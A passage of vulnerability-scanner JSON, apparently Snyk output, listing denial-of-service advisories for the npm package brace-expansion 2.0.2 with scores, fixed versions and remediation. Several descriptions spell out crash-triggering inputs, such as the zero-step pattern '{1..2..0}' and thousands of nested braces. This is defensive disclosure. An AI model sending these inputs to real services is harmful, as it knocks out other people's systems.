"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
